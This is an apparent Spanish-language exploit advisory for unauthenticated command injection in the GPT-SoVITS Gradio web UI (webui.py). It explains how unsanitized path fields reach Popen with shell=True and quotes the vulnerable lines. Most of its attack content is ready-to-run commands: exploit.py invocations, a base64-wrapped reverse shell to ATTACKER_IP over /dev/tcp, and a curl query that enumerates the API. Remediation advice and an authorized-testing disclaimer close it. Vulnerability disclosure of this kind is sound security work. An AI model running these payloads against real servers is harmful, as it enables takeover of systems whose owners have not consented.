
Ejecución remota de código sin autenticación en la interfaz web de Gradio
de GPT-SoVITS (webui.py).
Las utilidades de procesamiento de audio (open_asr, open_slice, open_denoise, open_uvr5)
interpolan los valores de ruta sin sanitizar de las cajas de texto de Gradio directamente
en los comandos shell que se ejecutan con Popen(..., shell=True). Las rutas solo pasan por
clean_path(), que únicamente elimina comillas y espacios al principio y al final; los
metacaracteres de shell del medio sobreviven. El campo asr_opt_dir ni siquiera se comprueba
si existe, así que una sustitución de comando $(...) en ese campo acaba dentro de -o "$(...)"
y se ejecuta como el usuario del proceso de la interfaz web. La interfaz web se distribuye
sin autenticación, por lo que basta una sola petición.
<= 20250606v2pro9874 (interfaz web de Gradio, sin autenticación)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
El comando inyectado se ejecuta en el servidor; su salida no se devuelve, así que usa una
reverse shell (o escribe en una ruta legible) para observar el resultado. asr_opt_dir está
envuelto en $(...), por lo que se ejecuta mediante sustitución de comando sin importar
si hay algún modelo ASR instalado.
open_asr construye y ejecuta:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
La interfaz de Gradio expone su superficie de API en /config:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
Actualiza a una versión posterior a GPT-SoVITS 20250606v2pro, nunca expongas la interfaz
web a redes no confiables y no la ejecutes como un usuario privilegiado.
Solo para pruebas de seguridad autorizadas y con fines educativos. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito de prueba.